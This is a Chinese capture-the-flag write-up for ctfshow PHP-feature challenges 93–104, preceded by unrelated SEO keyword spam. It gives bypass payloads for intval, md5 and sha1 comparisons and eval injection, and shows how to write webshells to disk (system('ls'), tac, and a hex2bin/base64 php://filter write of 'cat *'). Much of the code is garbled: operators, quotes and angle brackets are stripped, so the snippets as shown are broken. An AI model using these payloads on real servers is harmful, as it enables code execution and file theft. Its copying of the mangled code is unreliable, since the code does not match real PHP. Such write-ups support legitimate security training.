响应式网站断点,实用网站模板,dedecms建站教程,安徽建站优化ctfshow web入门 php特性 93-104 web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102web 103web 104 web 93 这段PHP代码是一个简单的源码审计例子#xff0c;让我们逐步分析它#xff1a; include(flag.php);: 这行代码将flag.php文件包含进来。… ctfshow web入门 php特性 93-104 web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102web 103web 104 web 93 这段PHP代码是一个简单的源码审计例子让我们逐步分析它 include(flag.php);: 这行代码将flag.php文件包含进来。如果flag.php文件中定义了变量 $flag它将在当前文件中可用。 highlight_file(__FILE__);: 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器以便我们查看代码的内容。 下面是一个针对用户输入的num参数的处理 a. $num $_GET[num];: 从GET请求中获取名为num的参数并将其赋值给变量$num。 b. if($num4476){ die(no no no!); }: 如果用户输入的num等于4476将输出no no no!并终止脚本的执行。 c. if(preg_match(/[a-z]/i, $num)){ die(no no no!); }: 如果用户输入的num中包含任何字母大小写不敏感将输出no no no!并终止脚本的执行。 d. if(intval($num,0)4476){ echo $flag; }else{ echo intval($num,0); }: 在这里intval()函数将尝试将$num转换为整数类型。如果转换后的结果等于4476将输出$flag的内容否则输出转换后的整数值。
所以从审计的角度来看 代码中对用户输入num进行了多层过滤主要是为了防止用户输入恶意数据。首先检查是否等于4476其次检查是否包含字母。但这里有一个问题它使用了intval()函数来转换输入将输入强制转换为整数。在这里如果输入的值以零开头例如001则PHP会将其视为八进制数。 因此用户可以通过输入以零开头的数字来绕过检查获取到flag。
例如传入 num010574它会被当作4476处理然后输出$flag的内容。 还有小数也可以绕过if($num4476){ die(no no no!); }。比如传 ?num4476.1 OK这题就完全理解了。
web 94 对比web 93有以下几个重要的改动 if($num4476){ die(no no no!); }: 这里使用了三个等号意味着在比较时不仅要比较值还要比较类型。 if(!strpos($num, 0)){ die(no no no!); }: 传入的参数的第一位不能为0如果是0就die 最后的条件判断变为 if(intval($num,0)4476){ echo $flag; }这个条件确保用户输入不是以0开头且转换为整数后与4476相等才会输出$flag的内容。
可以传参 ?num(空格)010574 ?num4476.0
web 95
include(flag.php);
highlight_file(__FILE__);
if(isset($_GET[num])){$num $_GET[num];if($num4476){die(no no no!);}if(preg_match(/[a-z]|\./i, $num)){die(no no no!!);}if(!strpos($num, 0)){die(no no no!!!);}if(intval($num,0)4476){echo $flag;}preg_match函数来检查变量$num是否包含任何小写字母a到z之间或者一个句号.。如果发现包含这些字符就会执行die()函数输出 “no no no!!” 并终止脚本的执行。 刚刚web 94 用到小数形式就不能用了。所以只能用 ?num(空格) 010574 web 96
highlight_file(__FILE__);if(isset($_GET[u])){if($_GET[u]flag.php){die(no no no);}else{highlight_file($_GET[u]);}}
使用u传一个参不能直接等于“flag.php”如果u直接等于flag.php那么将结束语句并输出 no no no。 使用两种方法传参
相对路径?u./flag.php php伪协议?uphp://filter/resourceflag.php web 97
include(flag.php);
highlight_file(__FILE__);
if (isset($_POST[a]) and isset($_POST[b])) {
if ($_POST[a] ! $_POST[b])
if (md5($_POST[a]) md5($_POST[b]))
echo $flag;
else
print Wrong.;
}
?前面都是GET到此改为POST传参。 满足题目条件a、b存在且非空a与b不相等但他们的MD5相等时输出flag。
如果是双等号不是三等号在这样的弱比较里0e开头的会被识别成科学计数法结果均为0比较时00为true绕过。
像这样的强比较上面的方法就失效了但是如果传入的不是字符串而是数组不但md5()函数不会报错结果还会返回null在强比较里面nullnull为true绕过。 数组轻松绕过 a[]1b[]2
web 98
include(flag.php);
$_GET?$_GET$_POST:flag;
$_GET[flag]flag?$_GET$_COOKIE:flag;
$_GET[flag]flag?$_GET$_SERVER:flag;
highlight_file($_GET[HTTP_FLAG]flag?$flag:__FILE__);? $_GET?$_GET$_POST:flag; 这句语句表示如果存在get方式就把post的地址传给get相当于get,只不过要利用post传一下参数。
highlight_file($_GET[HTTP_FLAG]flag?$flag:__FILE__);如果有通过GET方法传参’HTTP_FLAGflag’就显示flag。否则显示__FILE__.
如此传参 GET/?随意内容 POSTHTTP_FLAGflag web 99
highlight_file(__FILE__);
$allow array();
for ($i36; $i 0x36d; $i) { array_push($allow, rand(1,$i));
}
if(isset($_GET[n]) in_array($_GET[n], $allow)){file_put_contents($_GET[n], $_POST[content]);
}? 这部分代码用于生成一个名为 $allow 的数组其中包含随机数。生成的随机数范围是从 1 到 0x36d十进制 875。↓
$allow array();
for ($i36; $i 0x36d; $i) { array_push($allow, rand(1,$i));
}这部分代码检查是否存在名为 ‘n’ 的 GET 参数并且该参数的值存在于 $allow 数组中。如果满足这两个条件将使用 POST 请求中的 ‘content’ 参数将内容写入文件。↓
if(isset($_GET[n]) in_array($_GET[n], $allow)){file_put_contents($_GET[n], $_POST[content]);
}file_put_contents() 函数把一个字符串写入文件中。 如果文件不存在将创建一个文件。 如果成功该函数将返回写入文件中的字符数。如果失败则返回 False。
GET?n1.php
POSTcontent?php system(ls);?
访问1.php在这个请求中GET 参数 ‘n’ 的值是 “1.php”而 POST 参数 ‘content’ 的值是 ?php system(ls);?即恶意代码片段 system(“ls”)。
然后代码会检查 ‘n’ 参数是否存在于 $allow 数组中。假设 “1.php” 是在 $allow 数组中则会将 ?php system(ls);? 写入名为 “1.php” 的文件。
当访问 “1.php” 时恶意代码 system(“ls”) 将会被执行显示当前目录中的内容。
GET?n1.php
POSTcontent?php system(tac flag36d.php);?
访问1.php在这个请求中GET 参数 ‘n’ 的值仍然是 “1.php”而 POST 参数 ‘content’ 的值是 ?php system(tac flag36d.php);?即另一个恶意代码片段 system(“tac flag36d.php”)。
假设 “1.php” 仍然是在 $allow 数组中则会将 ?php system(tac flag36d.php);? 写入名为 “1.php” 的文件。
当访问 “1.php” 时恶意代码 system(“tac flag36d.php”) 将会被执行显示名为 “flag36d.php” 的文件内容的逆向从最后一行到第一行。 web 100 highlight_file(__FILE__);
include(ctfshow.php);
//flag in class ctfshow;
$ctfshow new ctfshow();
$v1$_GET[v1];
$v2$_GET[v2];
$v3$_GET[v3];
$v0is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match(/\;/, $v2)){if(preg_match(/\;/, $v3)){eval($v2(ctfshow)$v3);
源码审计
$ctfshow new ctfshow();创建了一个名为 $ctfshow 的对象。
$v1$_GET[v1]; $v2$_GET[v2]; $v3$_GET[v3];这几行代码从 GET 请求参数中获取数据并将其存储在变量 $v1, $v2, $v3 中。
$v0is_numeric($v1) and is_numeric($v2) and is_numeric($v3);使用 is_numeric() 函数检查 $v1, $v2, $v3 是否都为数字。然后将结果赋值给变量 $v0。
由于的优先级高于and因此只需要v1等于数字就可以绕过上述检查。
if(!preg_match(/\;/, $v2)){if(preg_match(/\;/, $v3)){这段代码是使用正则表达式检查v2、v3是否含有分号。
eval($v2(ctfshow)$v3); eval函数的作用是将传入的字符串作为 PHP 代码进行解析和执行。简单来说eval() 函数可以在运行时动态执行一段 PHP 代码。 它将 $v2 和 $v3 的值插入到字符串中并执行。
综上传参让$ctfshow显出来就行了
/?v11v2v3??tac ctfshow.php;flag格式是ctfshow{}。
web 101
highlight_file(__FILE__);
include(ctfshow.php);
//flag in class ctfshow;
$ctfshow new ctfshow();
$v1$_GET[v1];
$v2$_GET[v2];
$v3$_GET[v3];
$v0is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match(/\\\\|\/|\~|\|\!|\|\#|\\$|\%|\^|\*|\)|\-|\_|\|\|\{|\[|\|\|\,|\.|\;|\?|[0-9]/, $v2)){if(!preg_match(/\\\\|\/|\~|\|\!|\|\#|\\$|\%|\^|\*|\(|\-|\_|\|\|\{|\[|\|\|\,|\.|\?|[0-9]/, $v3)){eval($v2(ctfshow)$v3); 源码是web 100 的小改款多出了
正则检查的符号包括
1. \\\\匹配反斜杠 \。
2. \/匹配正斜杠 /。
3. \~匹配波浪号 ~。
4. \匹配反引号 。
5. \!匹配感叹号 !。
6. \匹配at符号 。
7. \#匹配井号 #。
8. \\$匹配美元符号 $。
9. \%匹配百分号 %。
10. \^匹配插入符号 ^。
11. \*匹配星号 *。
12. \)匹配右括号 )。
13. \-匹配减号 -。
14. \_匹配下划线 _。
15. \匹配加号 。
16. \匹配等号 。
17. \{匹配左花括号 {。
18. \[匹配左方括号 [。
19. \匹配双引号 。
20. \匹配单引号 。
21. \,匹配逗号 ,。
22. \. 匹配点号 .。
23. \;匹配分号 ;。
24. \?匹配问号 ?。
25. [0-9]匹配数字字符 0 到 9。
用到PHP Reflection API 这个东西。 PHP Reflection API 是 PHP 的一组内置类和接口它允许在运行时获取关于类、接口、函数、方法、属性等各种对象的信息。通过 Reflection API我们可以在代码运行时动态地分析和获取这些对象的结构和属性使得 PHP 在运行时具备了一定程度的反射reflection能力。
Reflection API 提供了一些类和接口其中最常用的类包括
ReflectionClass用于获取类的相关信息如类名、父类、接口、属性、方法等。ReflectionMethod用于获取类方法的相关信息如方法名、参数、访问修饰符等。ReflectionFunction用于获取函数的相关信息如函数名、参数、返回值等。ReflectionProperty用于获取类属性的相关信息如属性名、访问修饰符等。ReflectionParameter用于获取函数或方法的参数信息如参数名、默认值等。
通过 Reflection API开发者可以在运行时动态地探索和操作类、方法和函数的结构例如
动态地获取类的方法和属性实现类的自动文档生成或代码生成工具检查类或方法的注释和特性实现自定义的注解功能动态地调用类的方法和创建对象实现依赖注入和反射调用。
传参
/?v11v2echo%20new%20ReflectionClassv3;分析一下代码的执行过程 v11这里将 v1 设置为数字 1。 v2echo%20new%20ReflectionClass这里将 v2 设置为字符串 echo new ReflectionClass注意 %20 是 URL 编码的空格符。 v3;这里将 v3 设置为一个分号 ;。
接下来代码执行的逻辑是 首先is_numeric() 函数会检查 v1、v2 和 v3 是否都是数字。在这里v1 是数字 1因此条件通过。 然后代码会进行正则表达式匹配检查 v2 和 v3 是否包含特定的字符。 对于 v2正则表达式为 /\\\\|\/|\~|\|!||#|\$|%|^|*|)|-|_|||{|[|“||,|.|;|?|[0-9]/这里的 在正则表达式中需要转义所以实际匹配的是 \|/|~||!||#|$|%|^|*|)|-|_|||{|[|”||,|.|;|?|[0-9]。没有匹配到特殊字符所以条件通过。 对于 v3正则表达式为 /\\\\|\/|\~|\|!||#|\$|%|^|*|(|-|_|||{|[|“||,|.|?|[0-9]/这里的 在正则表达式中需要转义所以实际匹配的是 \|/|~||!||#|$|%|^|*|(|-|_|||{|[|”||,|.|?|[0-9]。没有匹配到特殊字符所以条件通过。 最后代码会执行以下语句eval($v2(ctfshow)$v3);。 根据我们的输入这将等效于执行以下代码eval(echo new ReflectionClass(ctfshow););。 eval() 函数将会执行字符串中的代码因此这里会输出 new ReflectionClass(ctfshow)
web 102
highlight_file(__FILE__);
$v1 $_POST[v1];
$v2 $_GET[v2];
$v3 $_GET[v3];
$v4 is_numeric($v2) and is_numeric($v3);
if($v4){$s substr($v2,2);$str call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die(hacker);
}? 从POST请求中获取参数$v1。从GET请求中获取参数$v2和$v3。判断$v2和$v3是否都是数字通过is_numeric函数判断并将结果保存到$v4中。
如果$v4为真即$v2和$v3都是数字 从$v2的第三个字符开始截取子字符串保存到$s中。$s substr($v2,2); 调用名为$v1的回调函数将$s作为参数传递给它并将函数返回值保存到$str中。 $str call_user_func($v1,$s); 将$str输出到页面。 将$str的内容写入名为$v3的文件中。file_put_contents($v3,$str);
如果$v4为假即$v2和$v3不是都是数字输出字符串hacker然后终止程序的执行。
构造传参
$v1使用hex2bin()作为回调函数16进制转化为字符
$v2要求全是数字。
$v3使用PHP伪协议写入文件$a?cat *;
$bbase64_encode($a);
$cbin2hex($b);
bin2hex是把ASCII 字符的字符串转化为16进制
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法可顺利通过is_numeric的检测。
因为是从下标为2的位置取的字符串所以要在前面加两个数字随意
故v2005044383959474e6864434171594473
payload
GET:?v2005044383959474e6864434171594473v3php://filter/writeconvert.base64-decode/resource1.phpPOST:v1hex2bin //这个就是把16进制转换为ASCII 字符的字符串传参后访问1.php后查看源代码获得flag web 103
highlight_file(__FILE__);
$v1 $_POST[v1];
$v2 $_GET[v2];
$v3 $_GET[v3];
$v4 is_numeric($v2) and is_numeric($v3);
if($v4){$s substr($v2,2);$str call_user_func($v1,$s);echo $str;if(!preg_match(/.*p.*h.*p.*/i,$str)){file_put_contents($v3,$str);}else{die(Sorry);}
}
else{die(hacker);
}?对于之前的代码新增了以下内容
使用正则表达式检查$str中是否包含php子字符串
if(!preg_match(/.*p.*h.*p.*/i,$str)){file_put_contents($v3,$str);
}
else{die(Sorry);
}这部分代码首先使用正则表达式/.*p.*h.*p.*/i来检查$str中是否包含php子字符串。正则表达式的含义是任意字符后面跟着p后面跟着任意字符后面跟着h后面再跟着任意字符最后跟着p而i标记表示忽略大小写。这样的正则表达式会匹配包含php子字符串的任何形式。
根据正则表达式的匹配结果执行不同的操作
如果$str中不包含php子字符串则将$str写入名为$v3的文件中
file_put_contents($v3,$str);如果$str中包含php子字符串则输出字符串Sorry并终止程序的执行
die(Sorry);这样的改动尝试防止用户将php关键词写入文件中以防止潜在的代码注入攻击。如果$str中包含php则直接输出Sorry并停止文件写入。
然而我们的传参不受黑名单限制payload依然是一样
GET:?v2005044383959474e6864434171594473v3php://filter/writeconvert.base64-decode/resource1.phpPOST:v1hex2bin //这个就是把16进制转换为ASCII 字符的字符串传参后访问1.php后查看源代码获得flagweb 104
highlight_file(__FILE__);
include(flag.php);if(isset($_POST[v1]) isset($_GET[v2])){$v1 $_POST[v1];$v2 $_GET[v2];if(sha1($v1)sha1($v2)){echo $flag;sha1与md5一样都是无法处理数组。所以这题跟web 97是一样的做法。使用数组进行绕过
POSTv1[]2
GETv2[]1